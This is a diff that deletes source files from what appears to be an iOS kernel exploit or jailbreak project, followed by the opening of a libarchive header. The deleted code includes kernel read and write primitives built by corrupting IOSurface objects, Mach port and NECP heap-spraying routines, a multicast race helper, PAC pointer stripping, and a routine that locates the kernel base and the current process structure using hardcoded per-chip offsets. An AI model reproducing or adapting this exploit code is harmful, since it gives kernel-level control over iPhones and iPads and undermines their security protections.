||||
mach_port_t fileport = MACH_PORT_NULL;
|
||||
|
||||
// read out port pointer
|
||||
uint64_t port_addr = kread64(holder_addr + 8);
|
||||
|
||||
|
||||
|
||||
// init fileport
|
||||
int sock = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
syscall(SYS_fileport_makeport, sock, &fileport);
|
||||
|
||||
// send new message contaning port
|
||||
port_receive_msg(holder, buf, receive_size);
|
||||
spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(sizeof(void *), &fileport, data_kalloc_size, holder);
|
||||
|
||||
// read kernel text pointer fops
|
||||
uint64_t kmsg = kread64(port_addr + 0x30);
|
||||
uint64_t ikm_header = xpaci(kread64(kmsg + 0x18));
|
||||
uint64_t oolp_array = kread64(ikm_header + 0x24);
|
||||
uint64_t oolp = kread64(oolp_array);
|
||||
uint64_t kobject = xpaci(kread64(oolp + 0x58));
|
||||
uint64_t fops = kread64(kobject + 0x28);
|
||||
|
||||
uint64_t x68 = xpaci(kread64(kmsg + 0x68));
|
||||
uint64_t self_ipc_space = xpaci(kread64(x68 + 0x50));
|
||||
uint64_t self_task = xpaci(kread64(self_ipc_space + 0x30));
|
||||
|
||||
struct utsname u;
|
||||
uname(&u);
|
||||
uint64_t off_task_bsd_info;
|
||||
|
||||
#if __arm64e__
|
||||
cpu_subtype_t cpuFamily = 0;
|
||||
size_t cpuFamilySize = sizeof(cpuFamily);
|
||||
sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0);
|
||||
|
||||
bool isA15OrNewer;
|
||||
if (cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE) {
|
||||
isA15OrNewer = true;
|
||||
}
|
||||
else {
|
||||
isA15OrNewer = false;
|
||||
}
|
||||
|
||||
if (isA15OrNewer)
|
||||
{
|
||||
off_task_bsd_info = 0x3c8; // ios15.1 a15 // proc_t::task_bsd_info
|
||||
}
|
||||
else
|
||||
{
|
||||
off_task_bsd_info = 0x3b8; //; iOS15.1 a12-a14 // proc_t::task_bsd_info
|
||||
}
|
||||
#else
|
||||
off_task_bsd_info = 0x3A0; // a9-a11
|
||||
#endif
|
||||
|
||||
g_self_proc = xpaci(kread64(self_task + off_task_bsd_info));
|
||||
|
||||
// find kernel base
|
||||
uint64_t pos = (fops & ~0x3FFF);
|
||||
do
|
||||
{
|
||||
pos -= 0x4000;
|
||||
} while (kread32(pos) != 0xFEEDFACF);
|
||||
kernel_base = pos;
|
||||
|
||||
// cleanup
|
||||
close(sock);
|
||||
port_deallocate_n(&fileport, 1);
|
||||
|
||||
return kernel_base;
|
||||
}
|
|
@ -1,9 +0,0 @@
|
|||
#ifndef __KERNEL_BASE_H__
|
||||
#define __KERNEL_BASE_H__
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdint.h>
|
||||
|
||||
uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr);
|
||||
|
||||
#endif
|
|
@ -1,75 +0,0 @@
|
|||
#include "kernel_rw.h"
|
||||
|
||||
#include "IOSurfaceRoot.h"
|
||||
|
||||
static io_connect_t _uc;
|
||||
static uint32_t _surf_id;
|
||||
static int _read_pipe;
|
||||
static int _write_pipe;
|
||||
static uint64_t _mapped_address;
|
||||
|
||||
void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n)
|
||||
{
|
||||
memset(buf, 0x07, n);
|
||||
|
||||
*(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
|
||||
*(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane
|
||||
*(uint64_t *)(buf + 0x10 + 0xC0 + 0x18) = kaddr + 0x20 - 0xA0; // Write destination (+0xA0 added)
|
||||
|
||||
_mapped_address = kaddr;
|
||||
}
|
||||
|
||||
int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe)
|
||||
{
|
||||
_uc = uc;
|
||||
_surf_id = surf_id;
|
||||
_read_pipe = read_pipe;
|
||||
_write_pipe = write_pipe;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint32_t kread32(uint64_t kaddr)
|
||||
{
|
||||
uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY];
|
||||
|
||||
read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
|
||||
|
||||
*(uint64_t *)(buf+ 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
|
||||
*(uint64_t *)(buf+ 0x10 + 0xC0 ) = kaddr - 0x14; // Write destination (+0xA0 added)
|
||||
|
||||
write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
|
||||
|
||||
return IOSurfaceRoot_get_surface_use_count(_uc, _surf_id);
|
||||
}
|
||||
|
||||
uint64_t kread64(uint64_t kaddr)
|
||||
{
|
||||
uint8_t b[8];
|
||||
|
||||
*(uint32_t *)b = kread32(kaddr);
|
||||
*(uint32_t *)(b + 4) = kread32(kaddr + 4);
|
||||
|
||||
return *(uint64_t *)b;
|
||||
}
|
||||
|
||||
void kwrite32(uint64_t kaddr, uint32_t val)
|
||||
{
|
||||
uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY];
|
||||
|
||||
read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
|
||||
|
||||
*(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
|
||||
*(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane
|
||||
*(uint64_t *)(buf + 0x10 + 0xC0) = kaddr - 0xA0; // Write destination (+0xA0 added)
|
||||
|
||||
write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
|
||||
|
||||
IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(_uc, _surf_id, val);
|
||||
}
|
||||
|
||||
void kwrite64(uint64_t kaddr, uint64_t val)
|
||||
{
|
||||
kwrite32(kaddr, (uint32_t)val);
|
||||
kwrite32(kaddr + 4, (uint32_t)(val >> 32));
|
||||
}
|
|
@ -1,18 +0,0 @@
|
|||
#ifndef __KERNEL_RW_H__
|
||||
#define __KERNEL_RW_H__
|
||||
|
||||
#define KERNEL_RW_SIZE_FAKE_ARRAY 0x4000
|
||||
|
||||
#include "iokit.h"
|
||||
|
||||
void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n);
|
||||
int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe);
|
||||
|
||||
uint32_t kread32(uint64_t kaddr);
|
||||
uint64_t kread64(uint64_t kaddr);
|
||||
|
||||
void kwrite32(uint64_t kaddr, uint32_t val);
|
||||
void kwrite64(uint64_t kaddr, uint64_t val);
|
||||
|
||||
#endif
|
||||
|
|
@ -1,55 +0,0 @@
|
|||
#include "mcast.h"
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <string.h>
|
||||
|
||||
int mcast_race_sock;
|
||||
|
||||
int mcast_join_group(int ip)
|
||||
{
|
||||
struct group_req mreq = { 0 };
|
||||
struct sockaddr_in6 sin6 = {0};
|
||||
|
||||
mreq.gr_interface = 1;
|
||||
|
||||
sin6.sin6_len = sizeof(sin6);
|
||||
sin6.sin6_family = AF_INET6;
|
||||
sin6.sin6_port = 7878;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[1] = ip;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000));
|
||||
|
||||
memcpy(&mreq.gr_group, &sin6, sizeof(sin6));
|
||||
|
||||
mreq.gr_interface = 1;
|
||||
|
||||
return setsockopt(mcast_race_sock, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq));
|
||||
}
|
||||
|
||||
void mcast_increase_race_reliability(void)
|
||||
{
|
||||
struct group_req mreq = { 0 };
|
||||
struct sockaddr_in6 sin6 = {0};
|
||||
int s = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
|
||||
mreq.gr_interface = 1;
|
||||
|
||||
sin6.sin6_len = sizeof(sin6);
|
||||
sin6.sin6_family = AF_INET6;
|
||||
sin6.sin6_port = 7878;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[1] = 0;
|
||||
sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000));
|
||||
|
||||
memcpy(&mreq.gr_group, &sin6, sizeof(sin6));
|
||||
|
||||
for (int i = 0; i < 3000; ++i)
|
||||
{
|
||||
((struct sockaddr_in6 *)(&mreq.gr_group))->sin6_addr.__u6_addr.__u6_addr32[1] = i + (3000 * 3000);
|
||||
setsockopt(s, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq));
|
||||
}
|
||||
}
|
|
@ -1,9 +0,0 @@
|
|||
#ifndef __MCAST_H__
|
||||
#define __MCAST_H__
|
||||
|
||||
extern int mcast_race_sock;
|
||||
|
||||
void mcast_increase_race_reliability(void);
|
||||
int mcast_join_group(int ip);
|
||||
|
||||
#endif
|
|
@ -1,16 +0,0 @@
|
|||
#include "necp.h"
|
||||
|
||||
#include <sys/syscall.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
|
||||
|
||||
int necp_open(int flags)
|
||||
{
|
||||
return syscall(SYS_necp_open, flags);
|
||||
}
|
||||
|
||||
int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size)
|
||||
{
|
||||
return syscall(SYS_necp_client_action, necp_fd, action, client_id, client_id_len, buffer, buffer_size);
|
||||
}
|
|
@ -1,10 +0,0 @@
|
|||
#ifndef __NECP_H__
|
||||
#define __NECP_H__
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
|
||||
int necp_open(int flags);
|
||||
int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size);
|
||||
|
||||
#endif
|
|
@ -1,116 +0,0 @@
|
|||
#include "port_utils.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#pragma clang diagnostic ignored "-Wdeprecated-declarations" // mach_port_destroy
|
||||
|
||||
mach_port_t port_new(void)
|
||||
{
|
||||
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
|
||||
mach_port_t port;
|
||||
|
||||
mach_port_construct(mach_task_self(), &options, 0, &port);
|
||||
|
||||
return port;
|
||||
}
|
||||
|
||||
void port_destroy(mach_port_t p)
|
||||
{
|
||||
mach_port_destroy(mach_task_self(), p);
|
||||
}
|
||||
|
||||
void port_deallocate(mach_port_t p)
|
||||
{
|
||||
mach_port_deallocate(mach_task_self(), p);
|
||||
}
|
||||
|
||||
void port_destroy_n(mach_port_t *p, unsigned int count)
|
||||
{
|
||||
for (int i = 0; i < count; ++i)
|
||||
{
|
||||
mach_port_destroy(mach_task_self(), p[i]);
|
||||
p[i] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
void port_deallocate_n(mach_port_t *p, unsigned int count)
|
||||
{
|
||||
for (int i = 0; i < count; ++i)
|
||||
{
|
||||
mach_port_deallocate(mach_task_self(), p[i]);
|
||||
}
|
||||
}
|
||||
|
||||
int port_has_msg(mach_port_t p)
|
||||
{
|
||||
mach_msg_header_t msg = { 0 };
|
||||
|
||||
mach_msg(&msg, MACH_RCV_LARGE | MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, 0x10, p, 0, 0);
|
||||
|
||||
return msg.msgh_size;
|
||||
}
|
||||
|
||||
int port_peek_trailer_size(mach_port_t p)
|
||||
{
|
||||
mach_port_seqno_t msg_seqno = 0;
|
||||
mach_msg_size_t msg_size = 0;
|
||||
mach_msg_id_t msg_id = 0;
|
||||
mach_msg_trailer_t msg_trailer;
|
||||
mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer);
|
||||
|
||||
mach_port_peek(mach_task_self(),
|
||||
p,
|
||||
MACH_RCV_TRAILER_NULL,
|
||||
&msg_seqno,
|
||||
&msg_size,
|
||||
&msg_id,
|
||||
(mach_msg_trailer_info_t)&msg_trailer,
|
||||
&msg_trailer_size);
|
||||
|
||||
return msg_trailer.msgh_trailer_size;
|
||||
}
|
||||
|
||||
void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int n)
|
||||
{
|
||||
mach_msg((mach_msg_header_t *)buf,
|
||||
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,
|
||||
0,
|
||||
n,
|
||||
p,
|
||||
0,
|
||||
0);
|
||||
}
|
||||
|
||||
void port_receive_msg_n(mach_port_t *p, unsigned int count)
|
||||
{
|
||||
uint8_t buf[0x1000];
|
||||
|
||||
for (int i = 0; i < count; ++i)
|
||||
{
|
||||
port_receive_msg(p[i], buf, 8);
|
||||
}
|
||||
}
|
||||
|
||||
void port_receive_msg_all_n(mach_port_t *p, unsigned int count)
|
||||
{
|
||||
uint8_t buf[0x1000];
|
||||
|
||||
for (int i = 0; i < count; ++i)
|
||||
{
|
||||
do
|
||||
{
|
||||
port_receive_msg(p[i], buf, 8);
|
||||
} while (port_has_msg(p[i]));
|
||||
}
|
||||
}
|
||||
|
||||
void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count)
|
||||
{
|
||||
port_receive_msg_n(p, count);
|
||||
port_deallocate_n(p, count);
|
||||
for (int i = 0; i < count; ++i)
|
||||
{
|
||||
p[i] = MACH_PORT_NULL;
|
||||
}
|
||||
}
|
|
@ -1,22 +0,0 @@
|
|||
#ifndef __PORT_UTILS_H__
|
||||
#define __PORT_UTILS_H__
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
mach_port_t port_new(void);
|
||||
|
||||
void port_destroy(mach_port_t p);
|
||||
void port_deallocate(mach_port_t p);
|
||||
|
||||
void port_destroy_n(mach_port_t *p, unsigned int count);
|
||||
void port_deallocate_n(mach_port_t *p, unsigned int count);
|
||||
|
||||
int port_has_msg(mach_port_t p);
|
||||
int port_peek_trailer_size(mach_port_t p);
|
||||
|
||||
void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int size);
|
||||
void port_receive_msg_n(mach_port_t *p, unsigned int count);
|
||||
|
||||
void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count);
|
||||
|
||||
#endif
|
|
@ -1,214 +0,0 @@
|
|||
#include "spray.h"
|
||||
|
||||
#include "necp.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count)
|
||||
{
|
||||
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
|
||||
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
|
||||
mach_msg_header_t *msg = (mach_msg_header_t *)data;
|
||||
|
||||
memset(msg, 0, sizeof(mach_msg_header_t));
|
||||
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->msgh_size = size;
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
|
||||
}
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
msg->msgh_remote_port = ports[i];
|
||||
msg->msgh_id = i;
|
||||
mach_msg_send(msg);
|
||||
}
|
||||
|
||||
return ports;
|
||||
}
|
||||
|
||||
mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size)
|
||||
{
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
|
||||
mach_msg_header_t *msg = (mach_msg_header_t *)data;
|
||||
|
||||
memset(msg, 0, sizeof(mach_msg_header_t));
|
||||
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->msgh_size = size;
|
||||
|
||||
mach_port_construct(mach_task_self(), &options, 0, &port);
|
||||
|
||||
msg->msgh_remote_port = port;
|
||||
mach_msg_send(msg);
|
||||
|
||||
return port;
|
||||
}
|
||||
|
||||
void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports)
|
||||
{
|
||||
mach_msg_header_t *msg = (mach_msg_header_t *)data;
|
||||
|
||||
memset(msg, 0, sizeof(mach_msg_header_t));
|
||||
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->msgh_size = size;
|
||||
//memcpy(msg + 1, data, size-sizeof(*msg));
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
msg->msgh_remote_port = ports[i];
|
||||
msg->msgh_id = i;
|
||||
mach_msg_send(msg);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
mach_port_t *spray_data_kalloc_ool_descriptor(uint8_t *data, unsigned int size, unsigned int count)
|
||||
{
|
||||
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
|
||||
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
|
||||
mach_msg_header_t *msg = (mach_msg_header_t *)calloc(1, size);
|
||||
|
||||
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->msgh_size = size;
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
|
||||
}
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
msg->msgh_remote_port = ports[i];
|
||||
mach_msg_send(msg);
|
||||
}
|
||||
|
||||
free(msg);
|
||||
|
||||
return ports;
|
||||
}
|
||||
|
||||
mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports)
|
||||
{
|
||||
return spray_default_kalloc_ool_ports_with_data_kalloc_size(size, count, ool_ports, 0x50);
|
||||
}
|
||||
|
||||
mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size)
|
||||
{
|
||||
struct default_msg
|
||||
{
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_ports_descriptor_t desc;
|
||||
};
|
||||
|
||||
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
|
||||
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
|
||||
struct default_msg *msg = (struct default_msg *)calloc(1, 0x100);
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
|
||||
msg->hdr.msgh_size = data_kalloc_size;
|
||||
msg->body.msgh_descriptor_count = 1;
|
||||
|
||||
msg->desc.deallocate = 0;
|
||||
msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
msg->desc.copy = MACH_MSG_VIRTUAL_COPY;
|
||||
msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
msg->desc.count = size/8;
|
||||
msg->desc.address = (void *)ool_ports;
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
|
||||
}
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
msg->hdr.msgh_remote_port = ports[i];
|
||||
kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg);
|
||||
if (kr) {
|
||||
*(int *)1 = 0;
|
||||
}
|
||||
}
|
||||
|
||||
free(msg);
|
||||
|
||||
return ports;
|
||||
}
|
||||
|
||||
void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p)
|
||||
{
|
||||
spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(size, ool_ports, 0x50, p);
|
||||
}
|
||||
|
||||
void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p)
|
||||
{
|
||||
struct default_msg
|
||||
{
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_ports_descriptor_t desc;
|
||||
};
|
||||
|
||||
struct default_msg *msg = (struct default_msg *)calloc(1, 0x100);
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
|
||||
msg->hdr.msgh_size = data_kalloc_size;
|
||||
msg->body.msgh_descriptor_count = 1;
|
||||
|
||||
msg->desc.deallocate = 0;
|
||||
msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
msg->desc.copy = MACH_MSG_VIRTUAL_COPY;
|
||||
msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
msg->desc.count = size/8;
|
||||
msg->desc.address = (void *)ool_ports;
|
||||
|
||||
msg->hdr.msgh_remote_port = p;
|
||||
kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg);
|
||||
if (kr) {
|
||||
*(int *)1 = 0;
|
||||
}
|
||||
|
||||
free(msg);
|
||||
}
|
||||
|
||||
|
||||
kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size)
|
||||
{
|
||||
mach_msg_base_t *msg = data;
|
||||
msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->header.msgh_remote_port = port;
|
||||
msg->header.msgh_size = (mach_msg_size_t)size;
|
||||
|
||||
return mach_msg_send(&msg->header);
|
||||
}
|
||||
|
||||
mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context)
|
||||
{
|
||||
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
|
||||
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
|
||||
|
||||
for (unsigned int i = 0; i < count; ++i)
|
||||
{
|
||||
mach_port_construct(mach_task_self(), &options, context, &ports[i]);
|
||||
}
|
||||
|
||||
return ports;
|
||||
}
|
||||
|
||||
mach_port_t *spray_ports(unsigned int count)
|
||||
{
|
||||
return spray_ports_with_context(count, 0);
|
||||
}
|
||||
|
||||
int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz)
|
||||
{
|
||||
uint8_t if_id[0x10];
|
||||
return necp_client_action(necp_fd, 1, if_id, sizeof(if_id), b, sz);
|
||||
}
|
||||
|
|
@ -1,23 +0,0 @@
|
|||
#ifndef __SPRAY_H__
|
||||
#define __SPRAY_H__
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdint.h>
|
||||
|
||||
mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size);
|
||||
mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count);
|
||||
void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports);
|
||||
mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports);
|
||||
mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size);
|
||||
|
||||
void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p);
|
||||
void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p);
|
||||
int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz);
|
||||
|
||||
kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size);
|
||||
|
||||
mach_port_t *spray_ports(unsigned int count);
|
||||
mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context);
|
||||
|
||||
|
||||
#endif
|
|
@ -1,18 +0,0 @@
|
|||
// ptrauth.h replacement
|
||||
|
||||
static uint64_t __attribute((naked)) __xpaci(uint64_t a)
|
||||
{
|
||||
asm(".long 0xDAC143E0"); // XPACI X0
|
||||
asm("ret");
|
||||
}
|
||||
|
||||
static uint64_t xpaci(uint64_t a)
|
||||
{
|
||||
// If a looks like a non-pac'd pointer just return it
|
||||
if ((a & 0xFFFFFF0000000000) == 0xFFFFFF0000000000)
|
||||
{
|
||||
return a;
|
||||
}
|
||||
|
||||
return __xpaci(a);
|
||||
}
|
|
@ -1,721 +0,0 @@
|
|||
/*-
|
||||
* Copyright (c) 2003-2008 Tim Kientzle
|
||||
* Copyright (c) 2016 Martin Matuska
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/lib/libarchive/archive_entry.h 201096 2009-12-28 02:41:27Z kientzle $
|
||||
*/
|
||||
|
||||
#ifndef ARCHIVE_ENTRY_H_INCLUDED
|
||||
#define ARCHIVE_ENTRY_H_INCLUDED
|
||||
|
||||
/* Note: Compiler will complain if this does not match archive.h! */
|
||||
#define ARCHIVE_VERSION_NUMBER 3006002
|
||||
|
||||
/*
|
||||
* Note: archive_entry.h is for use outside of libarchive; the
|
||||
* configuration headers (config.h, archive_platform.h, etc.) are
|
||||
* purely internal. Do NOT use HAVE_XXX configuration macros to
|
||||
* control the behavior of this header! If you must conditionalize,
|
||||
* use predefined compiler and/or platform macros.
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stddef.h> /* for wchar_t */
|
||||
#include <stdint.h>
|
||||
#include <time.h>
|
||||
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
#include <windows.h>
|
||||
#endif
|
||||
|
||||
/* Get a suitable 64-bit integer type. */
|
||||
#if !defined(__LA_INT64_T_DEFINED)
|
||||
# if ARCHIVE_VERSION_NUMBER < 4000000
|
||||
#define __LA_INT64_T la_int64_t
|
||||
# endif
|
||||
#define __LA_INT64_T_DEFINED
|
||||
# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__)
|
||||
typedef __int64 la_int64_t;
|
||||
# else
|
||||
#include <unistd.h>
|
||||
# if defined(_SCO_DS) || defined(__osf__)
|
||||
typedef long long la_int64_t;
|
||||
# else
|
||||
typedef int64_t la_int64_t;
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* The la_ssize_t should match the type used in 'struct stat' */
|
||||
#if !defined(__LA_SSIZE_T_DEFINED)
|
||||
/* Older code relied on the __LA_SSIZE_T macro; after 4.0 we'll switch to the typedef exclusively. */
|
||||
# if ARCHIVE_VERSION_NUMBER < 4000000
|
||||
#define __LA_SSIZE_T la_ssize_t
|
||||
# endif
|
||||
#define __LA_SSIZE_T_DEFINED
|
||||
# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__)
|
||||
# if defined(_SSIZE_T_DEFINED) || defined(_SSIZE_T_)
|
||||
typedef ssize_t la_ssize_t;
|
||||
# elif defined(_WIN64)
|
||||
typedef __int64 la_ssize_t;
|
||||
# else
|
||||
typedef long la_ssize_t;
|
||||
# endif
|
||||
# else
|
||||
# include <unistd.h> /* ssize_t */
|
||||
typedef ssize_t la_ssize_t;
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* Get a suitable definition for mode_t */
|
||||
#if ARCHIVE_VERSION_NUMBER >= 3999000
|
||||
/* Switch to plain 'int' for libarchive 4.0. It's less broken than 'mode_t' */
|
||||
# define __LA_MODE_T int
|
||||
